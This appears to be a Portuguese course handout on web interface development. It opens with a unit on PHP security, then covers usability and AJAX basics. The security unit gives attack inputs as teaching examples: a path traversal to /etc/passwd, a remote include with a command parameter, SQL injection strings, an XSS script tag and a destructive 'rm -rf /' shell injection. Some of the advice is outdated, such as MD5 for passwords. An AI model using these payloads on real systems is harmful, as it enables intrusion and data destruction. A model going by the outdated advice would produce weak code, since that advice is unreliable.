DESENVOLVIMENTO DE INTERFACES NA...

1

DESENVOLVIMENTO DE

INTERFACES NA WEB

2

UNIDADE 1 - INTERFACES - SEGURANÇA ....................................................................................................................... 3

1.1 CONCEITOS DE SEGURANÇA ............................................................................................................................................ 3 1.2 INVASÕES EM PHP ....................................................................................................................................................... 4

UNIDADE 2 - INTERFACES - APRESENTAÇÃO ............................................................................................................... 16

2.1 USABILIDADE ............................................................................................................................................................. 16

UNIDADE 3 - INTERFACES - DESEMPENHO .................................................................................................................. 19

3.1 CONCEITOS ............................................................................................................................................................... 19 3.2 O QUE É AJAX? .......................................................................................................................................................... 19 3.3 OS QUATRO PRINCÍPIOS DO AJAX: ................................................................................................................................. 21 3.4 COMO COMEÇAR? ...................................................................................................................................................... 23 3.5 COMO TESTAR O NAVEGADOR? ..................................................................................................................................... 23 3.6 REQUISITANDO EM DIVERSOS BROWSERS: ........................................................................................................................ 25 3.7 ENVIANDO A REQUISIÇÃO - PARÂMETROS DO ENVIO DA REQUISIÇÃO ..................................................................................... 27 3.8 VERIFICANDO OS DADOS RETORNADOS PELO SERVIDOR: ..................................................................................................... 29 3.9 RETORNOS EM TEXTO SIMPLES: ..................................................................................................................................... 29

UNIDADE 4 - ESTRUTURA DE UM DOCUMENTO XML .................................................................................................. 37

4.2 MONTANDO UM DOCUMENTO XML COM DOM E PHP. ................................................................................................... 39 4.3 MONTANDO UM XML EM PHP DE FORMA TEXTUAL ......................................................................................................... 43 4.4 RETORNO DO CONTEÚDO EM XML PARA O AJAX .............................................................................................................. 44

UNIDADE 5 - REQUISIÇÕES DINÂMICAS EM AJAX AO PHP .......................................................................................... 49

5.1 CRIANDO UM DOCUMENTO XML TEXTUAL COM CONEXÃO AO BANCO DE DADOS .................................................................... 49

UNIDADE 6 - MANIPULANDO O DOM EM JAVASCRIPT PARA RECURSOS COM AJAX ................................................... 58

6.1 ACESSO AOS ESTILOS DOS COMPONENTES DO DOCUMENTO ................................................................................................. 58 6.2 BIBLIOTECAS LIVRES: A FACILIDADE NA MANIPULAÇÃO DE DOCUMENTOS ................................................................................ 62 6.3 CRIANDO UMA JANELA ARRASTÁVEL ............................................................................................................................... 65 6.4 CRIANDO UMA “ÁVORE DE MENUS” ............................................................................................................................... 69 6.5 CRIANDO EFEITO “LIGHTBOX” ....................................................................................................................................... 74 6.6 ORDENANDO TABELAS ................................................................................................................................................. 75 6.7 AMPLINADO IMAGENS ................................................................................................................................................. 77 6.8 CRIANDO AVALIAÇÕES ................................................................................................................................................. 79 6.9 MENUS EM ABAS ....................................................................................................................................................... 81 6.10 EXIBINDO DICAS EM LINKS ............................................................................................................................................ 85 6.11 EXIBINDO UM CALENDÁRIO .......................................................................................................................................... 88

UNIDADE 7 - DREAMWEAVER E O AJAX ...................................................................................................................... 91

7.1 ABORDAGEM SIMPLES SOBRE OS COMPONENTES DO SPRY ................................................................................................. 91 7.2 EFEITOS SPRY COM SPRY EFFECTS ................................................................................................................................ 95

UNIDADE 8 - TRABALHO FINAL: .................................................................................................................................. 99

8.1 APLICANDO OS RECURSOS NA PRÁTICA: ........................................................................................................................... 99

Desenvolvimento de Interfaces na Web

3

Unidade 1 - Interfaces - Segurança

1.1 Conceitos de Segurança

Quando pensamos desenvolvimento de interfaces para Web é inevitável observarmos questões de segurança e desempenho. Neste sentido são cada vez mais crescentes as tentativas de padronização e definições de formatação de linguagem, processos e protocolos de comunicação.

Por isso, o termo Segurança da Informação que está relacionada com proteção de um conjunto de dados, no sentido de preservar o valor que possuem, ganha cada vez mais destaque.

Os três principais atributos que são levados em consideração para a análise e orientação, além do planejamento e implantação da segurança são: CIA (Confidentiality, Integrity and Availability) -- Confidencialidade, Integridade e Disponibilidade.

Outros atributos importantes são a irretratabilidade e a autenticidade. Graças a evolução do comércio eletrônico e das redes sociais com a Internet 2.0, a privacidade é também uma grande preocupação.

Os atributos básicos (segundo os padrões internacionais) são os seguintes:

Confidencialidade - é o atributo que limita o acesso a informação tão somente às somente das pessoas/sistemas que possuem autorização.

Integridade – o atributo que garante que a informação manipulada mantenha todas as características originais estabelecidas pelo proprietário da informação, incluindo controle de mudanças e garantia do seu ciclo de vida (nascimento, manutenção e destruição).

Disponibilidade - propriedade que garante que a informação esteja sempre disponível para o uso legítimo, ou seja, por aqueles usuários autorizados pelo proprietário da informação.

Existem algumas metodologias de segurança que são utilizadas na tentativa de frear as

constantes invasões que muitos sistemas vem sofrendo, são elas:

Mecanismos de criptografia. Permitem a transformação reversível da informação de forma a torná-la ininteligível a terceiros. Utiliza-se para tal, algoritmos determinados e uma chave


4

secreta para, a partir de um conjunto de dados não criptografados, produzir uma seqüência de dados criptografados. A operação inversa é a decifração.

Assinatura digital. Um conjunto de dados criptografados, associados a um documento do qual são função, garantindo a integridade e autenticidade do documento associado, mas não a sua confidencialidade.

Mecanismos de garantia da integridade da informação. Usando funções de "Hashing" ou de checagem, consistindo na adição.

Mecanismos de controle de acesso. Palavras-chave, sistemas biométricos, firewalls, cartões inteligentes.

Mecanismos de certificação. Atesta a validade de um documento.

Integridade. Medida em que um serviço/informação é genuíno, isto é, está protegido contra a personificação por intrusos.

Honeypot: É o nome dado a um software, cuja função é detectar ou de impedir a ação de um cracker, de um spammer, ou de qualquer agente externo estranho ao sistema, enganando-o, fazendo-o pensar que esteja de fato explorando uma vulnerabilidade daquele sistema.

Protocolos seguros: uso de protocolos que garantem um grau de segurança e usam alguns dos mecanismos citados aqui

1.2 Invasões em PHP

A linguagem PHP é uma das mais difundidas na Internet e por conseqüência também a que possui o maior número de tentativas, e muitas vezes sucesso, de invasão. A utilização da combinação de PHP, Mysql e Apache para o desenvolvimento de sistemas e-commerce, abriu um amplo caminho para a atuação dos crackers.

Ë fundamental observar alguns procedimentos simples, mas que podem fazer muita diferença, para a segurança de seu sistema. Vejamos alguns deles.

1.2.1 Variáveis Globais

Este tipo de invasão já é bem antigo, e foi tratado em muitos artigos e fóruns de discussão, no entanto ainda é comum encontrarmos programadores que não se preocupam com este tipo de falha na segurança

No php.ini (arquivo de configuração do PHP) a variável register_globals até a versão 4.2.0 o padrão era ON (ativada), porém a partir dela o padrão tornou-se OFF (desativada), mas muitos servidores ainda usam ON, pois muitos scripts antigos foram feitos com base o register_globals ON, então obviamente não funcionam quando o padrão é OFF.

O problema quando register_globals está ON é que as variáveis GET/POST se tornam variáveis globais.


5

Por exemplo:

http://site.com.br/teste.php?id=4&cidade=poa

Como register_globals está ON, as variáveis id e cidade tornaram-se variáveis globais.

<?php

echo $id; // 4

echo $cidade; // poa

?>

O problema é que isso permite que variáveis sejam injetadas via url. Um script com grande vulnerabilidade poderia ser um como esse:

<?php

if(Validausuario($usuario, $senha)) {

$logado = 1;

}

// se tiver valor 1 é como se fosse autenticado

if($logado == 1) {

// se estiver logado ele vê a pagina admin.php.

include("admin.php");

}

?>

No entanto se fosse digitado no browser o endereço: teste.php?logado=1.

O script entenderia que a pessoa está logada, pois $logado se tornou uma variável global com o

valor 1.

Uma forma mais simples de “corrigir” o problema seria assim:

<?php

if(Validausuario($usuario, $senha)) {

$logado = 1;

} else {

$logado = 0;


6

}

?>

Desse modo, até mesmo se o $logado for injetado via url, ele se tornaria 0.

Com register_globals OFF, variáveis que são passadas como parâmetro via url, não se tornam variáveis globais. A forma certa de utilizar é o simples uso das chamadas variáveis “super globais”,

tais como $_GET, $_POST, $_SERVER, etc.

O uso das “super globais” sempre é recomendado por razões de segurança e também por deixar o código mais limpo e seguro. Pois atreves de seu uso saberemos quais são as variáveis que estão sendo envidas pelos métodos GET/POST e quais não estão.

1.2.2 Arquivos include

Seguir as orientações de encapsulamento de código e trabalho em camadas, com o uso de padrões como o MVC é altamente recomendável. Para tal, na linguagem PHP utilizamos a

chamadas a arquivos externos com o uso dos comandos require ou include.

Vejamos o seguinte exemplo:

<?php

//aqui ficaria o cabeçalho

$page = $_GET['page'];

include($page);

//aqui ficaria o rodapé

?>

Deste modo, é possível colocar conteúdos específicos em arquivos separados. Exemplo: about.php, download.php, e o link para essas paginas seriam algo como:

index.php?page=about, index.php?page=downloads.php.

No entanto nosso código ficaria vulnerável. No caso de a requisição a nossa página ser realizada da seguinte formada:

index.php?page =.. /.. /.. /.. /.. /.. /.. /etc/passwd


7

Dessa forma seu arquivo de senhas fica vulnerável para ser visualizado, ou qualquer outro arquivo que esta rodando sob o PHP (HTTPD ou Apache normalmente), pode ser lido por qualquer usuário.

O outro problema é se o parâmetro 'URL Wrapper', também localizado no arquivo php.ini, estiver marcado como ON (que é o valor por padrão), com isso é possível fazer um upload de um arquivo para outro Web Server.

Vejamos outro exemplo:

<?php

passthru($_GET['cmd']);

?>

Neste caso, ao inserirmos na barra de enderços o seguinte valor:

index.php?page=http://outrosite.com.br/hax0r.txt&cmd=whoami poderemos então

rodar qualquer comando em seu servidor ou poderemos mostrar detalhes da conexão com o banco de dados, ou seja, basicamente rodar qualquer código PHP.

A função include recupera um arquivo de um servidor, e então executa isso como um código PHP, algo que é obviamente muito perigoso.

Um método seguro de incluir arquivos seria como o abaixo:

<?php

//cabeçalho do site

$page = $_GET['page'];

//para ter certeza que $page é alfanumérico.

if(eregi("^[a-z0-9\-_\.]+$", $page, $regs)) {

$dir = "includes/"; //pode ser branco

$ext = ".php"; //.php, .html, .txt, whatever

if(file_exists($dir . $page . $ext)) {

include($dir . $page . $ext); //ou outro tipo de extensão se não

for necessariamente um arquivo .php


8

} else {

echo '404 - Not Found'; //ou algo similar

}

} else {

echo 'Conteúdo do site'; /rodapé do site

}

?>

Então o link: index.php?page=about (assumiria about.php dentro do diretório 'includes').

Se o arquivo que será incluído não contém código PHP e possui apenas texto, então o correto é a

utilização da função readfile() ao invés de include()/require(), pois ambos irão

executar qualquer código PHP que o arquivo incluído contiver, no entanto a função readfile()

não o fará.

Usar um diretório separado para incluir arquivos é uma ótima for de evitar urls como:

"includes/http://blah.com/lala.txt" que neste caso não irá funcionar. Não é

realmente necessário esta prática se utilizarmos a função eregi() como filtro nas urls, no entanto

é recomendável não deixá-los na raiz.

É comum encontrarmos arquivos que serão incluídos com a extensão '.inc'. Esta prática é perigosa, pois arquivos com a extensão 'inc' não são interpretados como arquivos com um código PHP pelo Web Server e seu conteúdo será visualizado pelo navegador como um texto.

Esta prática expõe muitas vezes arquivos, importantes como os arquivos de configuração que podem conter senhas de banco de dados ou outros dados considerados sigilosos.

Arquivos que serão incluídos devem ter a extensão .php, como por exemplo: config.inc.php.

Obviamente a manutenção do “inc” é claramente um definição utilizada para um melhor controle dos arquivos que estão sendo inseridos

1.2.3 SQL injection

SQL injection ganhou muita visibilidade nos últimos devido ao grande numero de sites que tem seus bancos de dados expostos a falhas.

A exposição dos sistemas de gerenciamento de banco de dados é definida pela construção da codificação da linguagem que faz conexão com o mesmo, mas também por regras internas de segurança. Estas regras podem, por exemplo, definir se o usuário que realiza a conexão com o banco possui permissão de visualizar a estrutura de todas as tabelas ou mesmo sua exclusão.

Aqui iremos nos deter apenas na fragilidade do código PHP, que pode permitir a invasão do banco de dados.


9

Vamos nos deter em um simples sistema de login, que valida usuários do banco dados:

<?php

$username = $_POST['username'];

$password = $_POST['password'];

$query = "SELECT * FROM `users` WHERE username='$username' AND

password='$password'";

$result = mysql_query($query);

if(mysql_num_rows($result) > 0) {

$admin = 1;

} else {

$admin = 0;

}

if($admin == 1) {

// blah blah, restricted content here.

}

?>

Observamos então, que o que código acima realiza é pegar o username e o password recebidos do formulário e checar no banco de dados para conferir se os mesmos são válidos. Vamos considerar como um usuário válido, "admin", por exemplo.

Se nós colocarmos no campo de login da pagina:

admin'#

Vejamos o resultado se reescrevermos a SQL com as variáveis expandidas:

<?php

$query = "SELECT * FROM `users` WHERE username='admin'#' AND

password='xxx'";

?>

O problema aqui é que as aspas simples não estão sendo escapadas adequadamente. No MySQL, o símbolo (#) é considerado como um comentário, como as barras duplas (//) no PHP ou


10

C++, tudo após o (#) passa a ser ignorado pois passa a ser um comentário, ignorando a verificação da senha. Obviamente isto só irá funcionar se você tiver um usuário válido.

No entanto, você não precisa necessariamente utilizar um usuário válido pode-se realizar o teste usando:

' OR 1=1#

O resultado disto na conversão da SQL com as variáveis expandidas::

<?php

$query = "SELECT * FROM `users` WHERE username='' OR 1=1#' AND

password='xxx'";

?>

Isso irá selecionar todos os usuários do banco de dados. Se a função de login apenas contar o numero de linhas retornadas apos a query como a do exemplo. Então provavelmente irá assumir os dados do primeiro usuário retornado. Que pode ser possivelmente um admin.

Há várias coisas perigosas que podem ser realizadas com SQL injection. O problema principal são as aspas simples serem interpretadas como parte da query, que obviamente não é o que desejamos. O precisa ser feito é sempre ter certeza que elas serão escapadas, de forma que ' se tornaria \' (\ é usado quando se escapa uma string). O melhor modo para fazer isto é usar a função

nativa do PHP mysql_escape_string, como o exemplo abaixo:

<?php

$username = mysql_escape_string($_POST['username']);

$password = mysql_escape_string($_POST['password']);

$query = "SELECT * FROM `users` WHERE username='$username' AND

password='$password'";

//etc etc

?>

Agora se nós tentarmos entrar com o campo username contendo admin'# aconteceria o seguinte:


11

<?php

$query = "SELECT * FROM `users` WHERE username='admin\'#' AND

password='xxx'";

?>

As aspas simples são escapadas com sucesso e a query não está mais vulnerável.

Se você sabe que uma determinada variável irá ter o valor de inteiro, então o melhor a ser feito é:

<?php

$offset = (int)$_GET['offset'];

$query = "SELECT * FROM `cakes` LIMIT 20 OFFSET '$offset'";

?>

Então só um valor numérico pode ser passado deste modo, se um texto for enviado o valor da variável $offset será 0.

Praticamente tudo precisa ser escapado antes de ser enviado ao banco de dados. Os programadores tendem a esquecer de coisas que não estão vindos das variáveis GET/POST, como o HTTP_REFERER ou HTTP_USER_AGENT, estes podem ser facilmente modificados para conter uma SQL injection que deve ser escapado antes de ser colocado em uma query.

Nota: Para você tirar as barras que foram incluídas para escapar, quando for mostrar os dados para o usuário use stripslashes(). Para evitar barras desnecessárias:

<?php

$article = mysql_fetch_array($fnord);

echo $article['title']; // Badger\'s Parade

echo stripslashes($article['title']); // Badger's Parade

?>

1.2.4 Protegendo partes dos arquivos


12

Outra falha comum é esquecer a checagem do login em determinadas partes do código, como páginas internas que são visualizadas após o login. Vejamos este exemplo:

postnews.php:

<?php

if($_SERVER['REQUEST_METHOD'] == 'POST') {

header("Location: news.php");

exit;

}

// Post News:

if(!UserLoggedIn()) {

echo "Erro, Você não está logado";

die;

}

// html do formulário

?>

Se um usuário não autenticado fosse a essa pagina, então um erro iria aparecer. Se, no entanto um valor vindo do campo POST fosse enviado, seria possível ter acesso ao news.php sem estar autenticado.

É muito fácil de esquecer-se de proteger pedaços específicos de códigos, especialmente quando usuários logados e não logados tem acesso à mesma pagina e irão ver conteúdos diferentes, como também existem paginas que apenas quem está logado pode ter acesso. Sempre se lembre de proteger qualquer parte do código com checagens de login antes de executar o resto do código.

1.2.5 Cross Site Scripting (CSS/XSS)

Cross Site Scripting é feito quando você não filtra tags HTMLs vindas de um usuário e acaba executando elas, por exemplo:

<?php

if(mysql_num_rows($result) < 1) {

echo "Sua busca por {$_GET['q']} não encontrou resultados";


13

exit;

} else {

//blah

}

?>

search.php?q=<script>alert("hello");</script>

Em uma busca mal sucedida exibiria isto;

"Sua busca por <script>alert("hello");</script> não encontrou resultados "

Esse Javascript seria interpretado pelo navegador e uma alerta seria exibido.

Enquanto esse exemplo pode parecer relativamente inofensivo, é possível colocar coisas que irão pegar dados de cookies, podendo até roubar sessões.

Os dados devem ser checados antes de serem interpretados sempre, como no caso de SQL injection, em XSS também, existem dois métodos para fazer isso:

. A função strip_tags(); Irá remover todas as tags HTML de uma string;

. A função htmlspecialchars(); Que irá converter caracteres especiais do HTML para um tipo

que não poderá ser interpretado no browser como função do HTML e sim texto.

<?php

echo " Sua busca por ".htmlspecialchars($_GET['q'])." não encontrou

resultados"; //converte

echo " Sua busca por ".strip_tags($_GET['q'])." não encontrou

resultados"; //remove

?>

O correto é que nenhum valor vindo de um usuário deve ser executado sem uma devida checagem antes.

1.2.6 Ver código fonte


14

Exitem alguns sites que permitem através de funções específicas que seus usuários vejam o código fonte de determinadas páginas. Normalmente um link é chamado

viewsource.php?file=about.php ou algo do gênero.

Esta funcionalidade apesar de ser bem interessante, geralmente acaba deixando o site vulnerável para que se possa ver qualquer código fonte de um arquivo no servidor. Algo que certamente não é desejado, pois certos arquivos podem conter senhas de bancos de dados etc.

<?php

// script vulnerável

if($file == 'config.php') {

die("Você não pode visualizar este arquivo");

}

?>

O problema com isto é que você pode fazer o seguinte viewsource.php?file=./config.php

e isso irá checar com os caracteres adicionais ./.

O melhor jeito de fazer isso é:

<?php

// agora sim

if(stristr($file, "config.php")) {

die("Você não pode visualizar este arquivo ");

}

?>

Sendo que a função stristr(), irá exibir o conteúdo da string $file a partir do trecho “config.php”,

eliminando assim os caracteres adicionais.

1.2.7 Comandos shell


15

Comandos shells são outro exemplo de falha de vulnerabilidade. No PHP executar comandos shell é fácil, pois existem varias funções para isso, como system(), exec(), popen(), backticks, passthru, etc.

De forma padrão não devemos utilizar qualquer valor vindo de um usuário para executar como um comando shell:

<?php

$text = $_GET['text'];

$banner = `banner $text`;

?>

Se alguém colocar: x; rm; -rf; /; isso causaria muitos problemas..

Você pode usar a função escapeshellcmd(); para se proteger de dados perigosos vindos de

usuários. Está função escapa qualquer caractere em uma string que possa ser utilizado para enganar um comando shell para executar comandos arbitrários. E também é aconselhável usar alguma regex para ter certeza. O ideal é não utilizar valores de um usuário em comandos shell.

1.2.8 Senhas de banco de dados

É extremamente aconselhável utilizar algum tipo de encriptação no armazenamento de suas senhas. O MD5 é um dos tipos de encriptação suportado pelo PHP e recomendado para a maioria das aplicações. Existem outras metodologias de encriptação e devem ser avaliadas sempre que se pensa em segurança de dados.


16

Unidade 2 - Interfaces - Apresentação

2.1 Usabilidade

O termo usabilidade na Informática é usado para definir a facilidade com que as pessoas podem

utilizar um sistema a fim de realizar uma tarefa específica e importante. A usabilidade pode

também se referir aos métodos de mensuração da usabilidade deste mesmo sistema.

A usabilidade está diretamente ligada ao diálogo na interface e a capacidade do software em

permitir que o usuário alcance suas metas de interação com o sistema. Ser de fácil aprendizagem,

permitir uma utilização eficiente e apresentar poucos erros, são os aspectos fundamentais para a

percepção da boa usabilidade por parte do usuário. Mas a usabilidade pode ainda estar

relacionada com a facilidade de ser memorizada e ao nível de satisfação do usuário.

A necessidade de entender as necessidades dos usuários no ambiente virtual facilita a

compreensão do conteúdo disponibilizado, fazendo-o auto-suficientes para navegar pelos diversos

conteúdos. Até quem tem dificuldade motora ou problemas de navegação por falta de

conhecimento técnico poderá alcançar o que deseja o produtor da informação, se os processos de

usabilidade forem respeitados, deixando o usuário da página web mais à vontade, mais

independentes.


17

2.1.1 Usuário como foco

No desenvolvimento de um sistema ou adaptação de novos módulos para um sistema é

importante que se siga um padrão de mercado ou quando possível agradar o máximo de

características semelhantes as de uma interface que o usuário alvo já esteja acostumado.

Um dos pontos importantes na aceitação da interface é a maneira com que o desenvolvedor irá

"driblar" a poluição visual que pode acabar tornando uma interface muito diferente dos padrões de

uma interface amigável.

O paradigma de desenvolvimento de uma interface com o usuário deve permitir a realização de

sucessivos ciclos de "análise/concepção/testes", com a necessária retro-alimentação dos

resultados dos testes, de um ciclo a outro. A estratégia consiste em, a cada ciclo, identificar e

refinar continuamente o conhecimento sobre o contexto de uso do sistema e as exigências em

termos de usabilidade da interface. Na seqüência dos ciclos se constroem versões intermediárias

da interface do sistema que são submetidas a testes de uso, em que os representantes dos

usuários simulam a realização de suas tarefas. Inicialmente eles participarão de simulações

"grosseiras", usando maquetes, mas, com o avanço do desenvolvimento, eles recorrerão a

protótipos e versões acabadas do sistema, em simulações mais e mais fidedignas.

O objetivo é avaliar a qualidade das interações e levar em conta os resultados dessas avaliações

para a construção de novas versões das interfaces. Se implementada desde cedo no

desenvolvimento, tal estratégia pode reduzir o risco de falhas conceituais do projeto, garantindo

que, a cada ciclo, o sistema responda cada vez melhor às expectativas e necessidades dos

usuários em suas tarefas.

Uma interface amigável, deve fazer com que o usuário se sinta bem ao utilizar o sistema e o

mesmo deve transmitir a ele uma sensação de que é fácil de ser operado. Deve ter comandos

intuitivos e visuais caprichados.

Muitas vezes a simplicidade e a padronização é o segredo para colocar o sistema que está sendo

desenvolvido ao público com uma interface amigável.

Interfaces muito cheias de animações e imagens, ao contrário do que se pensa, criam inúmeras

dificuldades ao usuário em navegar ou clicar em um botão específico no programa ou consultar

uma informação, além de transmitir uma impressão de que o mesmo é complexo e difícil de ser

operado.


18

É sempre indicado que se use cores padrões do sistema operacional. Cores fortes, como

vermelho, devem ser usadas apenas em situações que devem chamar a atenção do usuário.

O software a ser utilizado deve ter atributos (ergonômicos e de funcionalidade) que propiciem ou

mesmo incentivem o desenvolvimento de posturas autônomas de aprendizado. É preciso

identificar que atributos são estes. O já tradicional e conhecido conceito de interface amigável deve

ser revisto a partir de tais hipóteses. As hipóteses construídas na dimensão pedagógica podem

agora ser analisadas da perspectiva técnica.

A primeira hipótese afirma que a tarefa que o usuário vai realizar deve ser prioritária na definição

da interface.

Já a segunda hipótese, sustenta que o conhecimento das características técnicas do hardware e

do software deve ocorrer na medida em que o uso do equipamento progride, ou seja, na medida

em que a necessidade desse conhecimento se impõe ao sujeito que aprende. No âmbito do

projeto de interfaces tal hipótese está relacionada com o princípio geral, pelo qual, deve-se

minimizar a carga de conhecimentos externos ao domínio da realização da tarefa, necessários à

operação do ambiente.

A análise da terceira hipótese na abrangência das características técnicas da ferramenta não é tão

simples. Esta hipótese fixa que o aprendizado autônomo pressupõe relações de cooperação entre

os aprendizes. Ora, a nível técnico a implementação de sistemas que permitam o trabalho

cooperativo entre vários usuários tem, por excelência, sido buscada com a tecnologia de redes de

computadores, com os sistemas que permitem o compartilhamento de tarefas como a construção

distribuída de base de dados (por exemplo).


19

Unidade 3 - Interfaces - Desempenho

3.1 Conceitos

Quando pensamos no desenvolvimento de interfaces para WeB, não podemos deixar de pensar em questões de performance. Mesmo com o aumento constante da velocidade da difusão da banda larga, a Internet ainda possui um volume significativo de usuários que ainda possuem conexões de baixa performance.

Alem disso, o uso cada vez mais comum dos meios digitais para comercio eletrônico, tem elevado o grau de importância dado a performance. Neste âmbito, apenas alguns segundos podem ser cruciais para a definição da concretização ou não de um volume maior de vendas.

Existem várias tecnologias que se popularizaram para este tipo de aplicação, dentre elas podemos citar .net, php, jsp, javascript, XML, mas cada uma delas tem sua participação no desenvolvimento de sistemas para web.

A combinação de linguagens mais popular é a chamada Ajax, da qual veremos mais detalhes nas próximas unidades.

3.2 O que é Ajax?

Ao contrário do que muitos pensam Ajax não é uma nova tecnologia, e sim a junção de tecnologias existentes no âmbito web que unidas melhoram tanto a performance quanto a sistemática de navegação em website nos quesitos de usabilidade e funcionalidade.

AJAX é a abreviação de Assyncronous Javascript and XML, ou seja, o acesso a dados de forma Assíncrona no servidor utilizando-se linguagem Javascript no navegador e arquivos XML gerados por alguma linguagem dinâmica no servidor.

Arquivos XML (eXtensible Markup Language) tem-se tornado populares na difusão e compartilhamento de dados e acessibilidade para dispositivos moveis por exemplo. Veremos em breve o formato e a maneira que estes arquivos são interpretados.

O surgimento desta tecnologia é tratado junto com uma serie de outras modificações e padronizações na web que formam o paradigma da Web 2.0, onde conceitos que visam o conforto do usuário e a facilidades na navegação imperam junto com padrões já estabelecidos com o w3c.

Veja abaixo um diagrama que expressa um pouco melhor este conceito:


20

Como sabemos devido ao Javascript ser uma linguagem Client Side não é possível realizar a leitura de um arquivo texto comum pelo Javascript, pelo menos de forma que este reflita as informações e comportamentos retornados pelo servidor, desta maneira ficamos apegados à uma forma de poder executar um arquivo dinâmico do outro lado, sem que este seja exibido, ou sequer acessado diretamente pelo cliente.

A forma que estes dados serão retornados será em XML ou através de uma String que será tratada por nós no Javascript.

Exemplos simples de aplicações com Ajax, são simples formulários web que não necessitam ser recarregados para buscarem determinadas informações do servidor, como o caso de o usuário selecionar um estado e logo após aparecem as opções de seleção de cidades do respectivo estado selecionado no processo anterior. Desta forma ganhamos tempo de navegação e satisfação do usuário que está navegando em nosso site.

Veja abaixo alguns outros exemplos práticos:

Carrinho de compras: utilizando-se da manipulação em DOM o usuário pode arrastar e soltar produtos diretamente dentro do carrinho, sem a necessidade de esperar por inúmeras requisições da pagina ao servidor.

Formulários com grande número de campos: possibilidade de selecionar os campos que serão preenchidos e estes já auto formularem os dados disponíveis em outros elementos do formulário, sem o recarregamento da página.

Auto completar: recurso já disponível em aplicativos que são executados no desktop também pode ser implementado em um site da internet, sugerindo palavras conforme os caracteres que o usuário digita no teclado em determinado campo do formulário.


21

3.3 Os quatro princípios do AJAX:

3.3.1 O navegador hospeda uma aplicação e não o conteúdo:

Em uma aplicação web clássica o navegador faz o papel de uma espécie de terminal burro. Ele não sabe absolutamente nada do que o usuário esta realmente realizando em suas ações conseqüentes. Sendo que inúmeras solicitações devem ser feitas ao servidor pela sessão do usuário para que o conteúdo do site seja atualizado.

Quando a sessão do usuário é iniciada no servidor, o site simplesmente carrega uma interface com o que foi retornado, sendo que qualquer outra interação do usuário será processada no lado do servidor, e novamente o site será recarregado para que estas sejam atualizadas (exemplo clássico de comercio eletrônico).

Já em uma aplicação AJAX a parte lógica da operação é movida para o navegador (lado do cliente), como mostrado abaixo:


22

Uma aplicação AJAX bem desenvolvida elimina diversas etapas de requisições ao servidor, deixando a aplicação agir de forma mais inteligente, e ganhando-se assim um considerável tempo de navegação no site. Veja o gráfico abaixo:

Portanto, vamos a partir de agora abordar um novo conceito no processo de requisição de dados, e dividir melhor as tarefas, bem vindo ao AJAX.


23

3.4 Como começar?

Um dos maiores empecilhos da utilização do Javascript sempre foi a questão de compatibilidade entre os navegadores em uso, atualmente temos divergências entre os métodos de acessibilidade dos navegadores mais populares (Mozilla Firefox e Internet Explorer).

Para isso existem maneiras de solicitar as requisições identificando qual o navegador que está sendo usado pelo usuário no momento de acesso ao site.

Utilizaremos um método conector conhecido como Requisitor XML via HTTP. Para acessarmos este elemento criaremos uma função que simplesmente realizará este processo. O navegador Microsoft utiliza um componente adjacente acessado por controle ActiveXObject.

3.5 Como testar o navegador?

Sabemos que no Javascript se alguma instrução ou erro de sintaxe ocorre durante o processo muitas etapas são abortadas e muitas vezes um erro é gerado e retornado na tela do navegador, para o cliente isso é sinônimo de site mal estruturado e desenvolvido, surge então a possibilidade de tratarmos estes erros e retornarmos algo mais Suva no momento de tratar este problema.

Tentativa e retorno (TRY and CATCH)

Veja o exemplo a seguir:

var s;

var a = new Array("maçã", "banana")

s = a[3].substring(0,4);

document.write(s);

O exemplo acima se executado irá retornar um erro dizendo que o vetor não possui a posição solicitada, e que não é possível executar a função substring no elemento desejado.


24

Caso quiséssemos executar este mesmo processo de forma que caso algo de errado seja retornado um erro coerente para o usuário poderíamos usar o TRY and CATCH.

Veja a atualização do código abaixo:

var s;

var a = new Array("maçã", "banana")

try{

s = a[3].substring(0,4);

}catch(e){

s = “Ocorreu um erro no script!”;

}

document.write(s);

O TRY and CATCH é um teste seqüencial que sempre retorna um valor e que visa tratar um erro que possa interromper a execução do script de forma grosseira.

A sintaxe é dada da seguinte maneira:

try {

bloco com código normal mas que pode gerar erros

} catch(exceção) {

bloco com código capaz de fazer a recuperação dos erros

}

Ou em pseudocódigo:

tentar {

bloco com código normal mas que pode gerar erros

} retorna(exceção) {

bloco com código capaz de fazer a recuperação dos erros

}

NOTA: Apesar de estas instruções não fazerem parte do padrão ECMAScript, elas são suportadas por todos os browsers importantes e são de grande utilidade para a construção de código robusto.

Em qual circunstância será usado o TRY and CATCH?


25

A acessibilidade ao XML varia de navegador para navegador, sendo que se tentarmos acessá-lo de uma forma não disponível no navegador do usuário uma série de erros será retornada.

3.6 Requisitando em diversos browsers:

Utilizando-se da função TRY and CATCH criaremos uma função especifica para utilizarmos o AJAX no navegador do usuário, está usará os seguintes métodos para acessar estes componentes:

Internet Explorer:

Active XObject(“Msxml2.XMLHTTP”):

AtiveXObject(“Microsoft.XMLHTTP”);

Firefox, Opera, Saffari, e outros:

XMLHttpRequest;

Onde:

XMLHTTP: Objeto Javascript que torna possível a comunicação assíncrona com o servidor, sem a necessidade de recarregara página por completo. Este objeto fazer parte da especificação DOM nível 3.

Veja um exemplo da função abaixo:

function criaxmlhttp(){

try{

xmlhttp = new XMLHttpRequest();

}catch(e){

try{

xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");

}catch(e1){

try{

xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");

}catch(e2){

xmlhttp = false;

document.write("Navegador não da suporte a Ajax!");

}

}

}


26

}

Com esta função iremos ao longo do curso prosseguir com a consulta assíncrona de dados no servidor, sendo que como podemos analisar em ultimo caso é retornado um erro informado que o navegador do usuário não é compatível com AJAX.


27

3.7 Enviando a requisição - parâmetros do envio da requisição

Após termos estabelecido qual o objeto de conexão será utilizado pelo cliente para a conexão assíncrona, deveremos então criar uma nova função que será responsável por requisitar determinado arquivo dinâmico no servidor e realizar assim a solicitação e futuramente a leitura dos dados retornados pelo servidor.

Para realizar a requisição utilizaremos do método OPEN no qual serão passados três parâmetros:

objeto.open(MÉTODO, URL, ASSINCRONA?);

Onde:

Objeto: objeto XmlHTTP gerado pela função anteriormente vista.

Método: GET ou POST.

Assíncrona: valor booleano no qual TRUE representa que a conexão é assíncrona, e necessita de um retorno dado pelo servidor, e FALSE caso contrário.

Vejamos então como ficará a nossa função juntamente de alguns outros métodos essenciais no Ajax:

function acessa(elemento,valor){

criaxmlhttp();

xmlhttp.open("GET",”arquivo01.php,true);

xmlhttp.send(null);

}

